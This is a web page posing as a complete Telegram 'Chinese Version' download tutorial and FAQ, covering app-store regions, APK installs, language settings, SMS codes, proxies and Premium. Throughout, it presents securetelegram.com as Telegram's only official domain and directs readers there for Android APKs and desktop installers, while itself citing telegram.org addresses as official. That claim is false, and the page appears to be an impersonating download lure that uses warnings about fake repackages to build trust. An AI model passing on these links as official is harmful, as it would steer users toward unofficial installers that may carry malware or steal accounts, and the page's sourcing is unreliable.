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Complete Telegram Chinese Version download and installation tutorial

Trust the official source securetelegram.com, choose the installer by platform, install in a few steps, and switch to Chinese.

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Trust the official source securetelegram.com, choose the installer by platform, install in a few steps, and switch to Chinese.

Download methods for each platform

For Android, prefer the official APK; for iPhone, an overseas App Store is needed; for desktop, visit securetelegram.com/desktop, which automatically detects the system.

Can I download Telegram directly in mainland China, and do I need a VPN

Both downloading and using Telegram are restricted in mainland China: on iPhone, because it has been removed from the mainland App Store, an overseas Apple ID is needed.

Even after installation, connecting to Telegram servers in the mainland usually also requires a usable network environment, otherwise it will keep failing to connect. The official app provides a built-in MTProto proxy at core.telegram.org/proxy to get around restrictions. For the specific usable approach, please confirm hands-on according to your local situation.

Can Telegram be found and downloaded on the Hong Kong Apple App Store

Yes. Which apps the App Store displays depends on the registration region of the Apple ID; a Hong Kong Apple ID can find and download the official Telegram.

If you currently use a mainland Apple ID and cannot find it, switch to a Hong Kong (or other overseas) Apple ID and search again. When downloading, verify the developer is the official Telegram FZ-LLC / Telegram Messenger, and do not download a counterfeit app.

How do I download the Telegram Chinese Version on a Taiwan iPhone

A Taiwan iPhone can find and download the official Telegram in the App Store with a Taiwan Apple ID (the App Store displays apps by Apple ID region).

There is no separate Chinese version; just download the official original. After installation go to Settings > Language and select Traditional Chinese or Simplified Chinese, without any third-party language pack at any point. When downloading, trust that the developer is the official Telegram FZ-LLC / Telegram Messenger.

Trust the official source and avoid counterfeit repackages

Trust only the securetelegram.com domain; the Chinese, localized, cracked, and accelerated versions online are mostly third-party repackages, with the risk of trojans and account theft.

Open the official download page

Visit securetelegram.com in a browser, and choose the installer for your system.

Download and install

Install the APK on Android, run the installer on a computer, and go through the overseas App Store on iPhone.

Log in and set Chinese

After logging in with a phone number, go to Settings > Language and select Simplified Chinese.

Does a Singapore Android phone need to change region to download dianbao

Android downloads do not need a region change; just download the APK directly from the official site securetelegram.com/android, or search for Telegram in Google Play.

When registering, use a Singapore international format phone number starting with +65. After installation go to Settings > Language and select Simplified Chinese. Changing region is only something iPhone needs (the App Store displays apps by Apple ID region); Android is not subject to this restriction.

To download telegram in Malaysia, should I use Google Play or the official site apk

Either works, with the priority being: download the APK directly from the official site securetelegram.com/android, then Google Play.

An APK downloaded from the official site automatically receives updates from the official source after installation, safe and reliable. If the device has no Google services (such as Huawei), search for Telegram in the AppGallery store. When registering, use a Malaysia international format phone number starting with +60. Whichever you choose, do not download repackages from third-party APK sites.

How do I download telegram on an Android phone without Google Play

It can be installed fine without Google Play. Just go to the official site securetelegram.com/android to download and install the official APK; after installation it automatically receives updates from the official source.

Devices such as Huawei can also search for Telegram in AppGallery. Note: do not download from third-party APK sites of unknown origin, as those packages carry the risk of being counterfeit, repackaged, or having high-risk permissions.

Installation and first-time setup

After installation, log in with a phone number, then go to Settings > Language and switch to Simplified Chinese to use it normally.

Can I install telegram on a Huawei phone without Google services, and where do I download the apk

Yes, it can be installed. Huawei can search for Telegram in AppGallery to download, or you can go directly to the official site securetelegram.com/android to download and install the official APK.

An APK downloaded from the official site automatically receives updates from the official source after installation, without needing Google services. Be sure not to download from third-party APK sites, as those packages carry the risk of being counterfeit, repackaged, or having high-risk permissions; trust only the official source.

Can I download telegram on iPhone without changing region

If your Apple ID is in the mainland region, you cannot download it; Telegram has been removed from the mainland China App Store, so the official version cannot be found with a mainland Apple ID.

Which apps the App Store displays depends on the registration region of the Apple ID, not the device network, so you must switch to or register an overseas Apple ID (US, Hong Kong, Taiwan, and so on) to download it. If you already have an overseas Apple ID, you can find and download it directly.

The downloaded telegram defaults to English; how do I switch to a Chinese interface

The path is the same across all platforms for the Telegram Chinese Version: open the app > Settings (the gear at the bottom right on phone).

Since April 2026 the official app has built in Simplified and Traditional Chinese; it takes effect once selected, with no need to tap any external link or install a third-party language pack.

Updating, uninstalling, and reinstalling

After installing from the official source it updates automatically; when reinstalling, back up your login phone number, and cloud chats will be restored automatically.

How do I set telegram to Simplified Chinese, and what do I do if there is no Chinese option

For the Telegram Chinese Version, open the app > Settings > Language > select Simplified Chinese.

Since April 2026 the official app has built in Simplified and Traditional Chinese, so it is in the list after updating to the latest version. If you do not see Chinese in your list, update the app to the latest version first and look again; older versions may need the official deep link method to apply a community language pack (send the official t.me/setlanguage link in a chat and then tap to apply). Note: use only official links, and do not install third-party language packs of unknown origin.

After downloading telegram, do I have to register with a phone number, or can I use email

You must register with a phone number; a Telegram account can only be bound to a phone number (landlines are not supported), and you cannot register a brand-new account with an email out of nowhere.

Email is only a backup login method for users with an existing account who log in fairly often; you must first bind your email under two-step verification before the login code is sent to the email, and it is not a registration method. Enter the phone number in international format, such as Singapore +65, Malaysia +60, Taiwan +886.

Sources: Telegram official site · Telegram desktop official site · Google Play · Apple App Store

FAQ

Frequently asked questions about downloading and installing

Frequent questions about download channels, system compatibility, identifying repackages, and reinstalling, answered one by one.

Where can I download the genuine Telegram Chinese Version installer?

In fact there is no separate Telegram Chinese Version installer. Every platform uses the same official client, and the Chinese version simply means switching the interface to Chinese, not installing a separate localization pack or a third-party modified version. The genuine app comes only from official sources: the main download entry is securetelegram.com, desktop is securetelegram.com/desktop, and Android is securetelegram.com/android. Those Chinese, localized, cracked, or accelerated installers online are mostly third-party repackages, with the risk of embedded trojans and account theft, so avoid all of them.

Which is the Telegram official download address, and how do I confirm it is not a phishing site?

The main official download entry is securetelegram.com, desktop is securetelegram.com/desktop, and Android is securetelegram.com/android. Trust the domain securetelegram.com itself; sites like telegram-ios.com, telegramshk.com, or sites.google.com/view/ are not official domains and mostly offer repackages or traffic redirection, so avoid them. When downloading from an app store, also verify the developer is the official Telegram FZ-LLC / Telegram Messenger, and do not be fooled by counterfeit sites and counterfeit apps with the same name and icon.

How do I download and install the Telegram Android app?

Android downloads have a priority order: first choice is the official site securetelegram.com/android to download the APK directly, then Google Play, and devices without Google services such as Huawei can search for Telegram in AppGallery. An APK downloaded from the official site will automatically receive updates from the official source after installation. Try not to download from third-party APK sites, as those packages carry the risk of being counterfeit, repackaged, or having high-risk permissions. After installation the default is English; go to Settings > Language to switch to Chinese.

How do I download the zhifeiji app on an iPhone?

Zhifeiji is Telegram. On iPhone, note that Telegram has been removed from the mainland China App Store, so the official version cannot be found with a mainland Apple ID. You need to switch to or register an overseas Apple ID (US, Hong Kong, Taiwan, and so on) to find and download it, because which apps the App Store displays depends on the registration region of the Apple ID, not the device network. Once found, be sure to verify the developer is the official Telegram FZ-LLC / Telegram Messenger, and do not download a counterfeit app with the same name.

Which version of the Telegram desktop app should I download, and can Windows install it directly?

Download the desktop version from the official securetelegram.com/desktop; the site automatically detects your system and gives the matching installer (Windows / macOS / Linux), and also offers an install-free Portable version. Windows can directly download the installer to install and run. The official client is open source and supports reproducible builds, so technically it can be verified against the GitHub source code. Download only from the official source, and do not use any so-called desktop Chinese version or green cracked version.

How do I download and install Telegram for Mac, and does the M1 chip work?

Download the Mac version from the official securetelegram.com/desktop; the site automatically gives the matching installer. After downloading the .dmg, double-click to open it and drag the Telegram icon into the Applications folder. The official app provides a native macOS client entry, and Apple silicon such as M1 works normally (hands-on confirmation of the version for your model is needed). Download only from the official source, to avoid third-party repackages.

Where do I download the dianbao Chinese version apk file, and is it safe?

There is no official Chinese version APK; Chinese is only the interface language. The Android APK should be the official original downloaded from the official site securetelegram.com/android, and after installation go to Settings > Language to switch to Chinese. Those Chinese version or localized APKs online are third-party repackages and very high-risk: there was a knockoff channel impersonating Simplified Chinese translation that spread a downloader trojan, with subscriptions once reaching around 800K; once run it downloads malicious modules and bypasses security software. Be sure to download only from the official securetelegram.com source.

Is there a complete Telegram download and installation tutorial, and which step do first-time users look at?

The steps are simple: 1) Download from the official source, Android securetelegram.com/android, desktop securetelegram.com/desktop, and search on iPhone in the overseas App Store; 2) Install and open the app; 3) Sign up and log in with a phone number, using international format such as Singapore +65, Malaysia +60, Taiwan +886; 4) Go to Settings > Language and select Simplified Chinese. For the first time, the most critical thing is to trust the official source for downloading, and not download a third-party repackage.

Can I download tg from the Apple App Store, and what do I do if I cannot find it?

You can download it, but it depends on the registration region of your Apple ID. Telegram has been removed from the mainland China App Store, so it cannot be found with a mainland Apple ID. The solution is to switch to or register an overseas Apple ID (US, Hong Kong, Taiwan, and so on), then search in the App Store to find it, because what the store displays depends on the Apple ID region, not the device network. Once found, verify the developer is the official Telegram FZ-LLC / Telegram Messenger.

What is the difference between the original Telegram and the Chinese version, and which is better to download?

There is no separate app called the Chinese version. Every platform uses the same official original client, and the Chinese version simply refers to switching the interface language to Chinese. So for downloading, just download the official original (securetelegram.com), and after installation go to Settings > Language and select Simplified Chinese. Those claiming to be a Chinese version or localized version are mostly third-party repackages, with the risk of account theft and embedded trojans, so do not download them.

Is the Telegram Chinese Version made by the official team or localized by a third party, and is it safe?

The official team has not released a separate Chinese version app. The Chinese interface is a language option built into the official client (since April 2026 the official app has built in Simplified and Traditional Chinese). But the separately packaged Chinese version or localized version installers on the market are basically modified by third parties and are not safe: there appeared a knockoff channel impersonating Simplified Chinese translation that spread a downloader trojan, with subscriptions once around 800K; there are also cases of impersonating localization packs to spread remote control and phishing trojans. The safe approach is to download the official original only from securetelegram.com, then switch to Chinese under Settings > Language.

What do I do if I do not receive the verification code SMS when registering telegram?

Troubleshoot in this order: 1) Confirm you can stably connect to Telegram servers (when the network is down, the request to send the code cannot itself be sent out); 2) Verify the country code and number format are correct (for example, for Taiwan +886, drop the leading 0 and start directly from 9); 3) Check your phone spam/blocked message folder; 4) For a mainland +86 number, confirm that International and Hong Kong/Macao/Taiwan SMS reception is enabled (turned off by default in many areas since May 2022); 5) Do not keep frantically tapping resend; wait 5-10 minutes between attempts, otherwise it triggers risk control and delivery is suspended; 6) If it still fails, use a different real phone number or appeal via telegram.org/support.

I keep not receiving the telegram verification code; how long until it resends?

For the Telegram Chinese Version, do not keep frantically tapping resend; repeated taps in a short time trigger risk control, are judged as suspicious activity, and delivery is suspended; there are also limits on the carrier side (some sources say a single number can receive at most around 10 verification codes within 24 hours). Waiting 5-10 minutes between each attempt is recommended; if already locked, wait about 24 hours and try again or use the official appeal. At the same time, confirm the network can connect to the servers and the number format is correct, check the spam SMS folder, and for a mainland number also confirm that international SMS reception is enabled.

After installing telegram, how do I log in for the first time, and what steps are needed?

For the Telegram Chinese Version, the first login uses a phone number: 1) Open the app, select the country code of your region (such as Singapore +65, Malaysia +60, Taiwan +886), and enter your phone number; 2) Wait to receive the SMS verification code and enter it (about 1-2 minutes); 3) Follow the prompts to set a nickname, avatar, and so on to complete account creation. If you have enabled two-step verification, you also need to enter the two-step verification password again. Enabling two-step verification to protect your account after login is recommended, and do not send your verification code to anyone.

How do I log in to my phone account on the telegram desktop version by scanning a QR code?

The desktop version supports logging in to an existing account with a QR code: select the QR code login method on the desktop login screen, then on the phone open Telegram > Settings > Devices > Scan QR code (Link Desktop Device), and aim at the QR code on the computer screen to scan it for a synced login. Telegram officially supports multiple login methods, including QR codes. The specific menu names depend on your client version (hands-on confirmation is needed).

After downloading and installing telegram, it will not open and keeps spinning and cannot connect; what do I do?

Keeping spinning and unable to connect is usually because the network layer cannot reach Telegram servers, not because the app is broken. First confirm that your current network environment can access Telegram normally (some regions require a usable network environment, otherwise it cannot connect). The official app provides a built-in MTProto proxy at core.telegram.org/proxy, specifically to get around restrictions on Telegram access; it hides your IP and obfuscates traffic, making it hard for carriers to identify. Configure it specifically under Settings > Data and Storage > Proxy (hands-on confirmation is needed).

Why does telegram show connecting and fail to connect?

Getting stuck on connecting is generally because the connection from the network to Telegram servers is restricted or unstable; in some regions carriers restrict Telegram access, causing connection failures, and this is not a fault of the app itself. The official app provides a built-in MTProto proxy (core.telegram.org/proxy) specifically to get around this kind of block; it makes Telegram traffic hard for carriers to identify by hiding the IP and obfuscating traffic. You can configure a usable proxy in the proxy settings of the client and try again (the specific configuration needs hands-on confirmation).

How do I speed up telegram if the download is very slow and rate-limited?

Slow Telegram speed is usually caused by the link from the network to its servers being restricted. The official app provides a built-in MTProto proxy (core.telegram.org/proxy) that can get around restrictions on Telegram access and improve connectivity; it makes Telegram traffic hard for carriers to identify by hiding the IP and obfuscating traffic. After configuring a stable, usable proxy in the client proxy settings, it usually becomes much smoother. The specific speed-up effect depends on the network and proxy quality you use (hands-on confirmation is needed).

Downloading files in telegram is rate-limited and very slow; how do I remove the limit?

Slow file downloads are mostly also a network link issue. The official Telegram app provides a built-in MTProto proxy (core.telegram.org/proxy) to get around restrictions on Telegram access and improve the connection; it hides your IP and obfuscates traffic. After configuring a stable, usable proxy, downloads are usually faster. In addition, Telegram Premium has higher download and file-related limits according to the official team (for the specific speed-up, please confirm hands-on with your actual network situation).

How do I sign up for the Telegram Premium version, and where do I buy it after installation?

The Telegram premium membership is called Premium, usually signed up for within the app: go to Settings to find the Telegram Premium entry, or when you tap a premium feature marked with a star it guides you to subscribe, and pay through the App Store / Google Play in-app purchase as prompted. After signing up, you can unlock higher upload and download limits, more features, and so on. The specific entry and price depend on what is displayed within your client (hands-on confirmation is needed).

How much does Telegram Premium membership cost, and how do I pay in Southeast Asia?

Telegram Premium is generally a monthly subscription; the specific price varies by region and payment channel, so rely on the local price displayed within your app. Southeast Asia users usually pay through the App Store / Google Play in-app purchase, binding a locally supported payment method (such as a credit card); some regions also support other payment channels. For the accurate price and available payment methods, please confirm hands-on within the app; the material does not provide specific figures.

Are zhifeiji, dianbao, and telegram the same app, and which do I download?

They are the same app. Zhifeiji and dianbao are both nicknames for Telegram among Chinese speakers, because its icon is a paper airplane. There is only one official client across all platforms, and there is no separate Chinese version. For downloading, just download the official original: Android securetelegram.com/android, desktop securetelegram.com/desktop, and search for Telegram on iPhone in the overseas App Store (verify the developer is the official Telegram FZ-LLC / Telegram Messenger).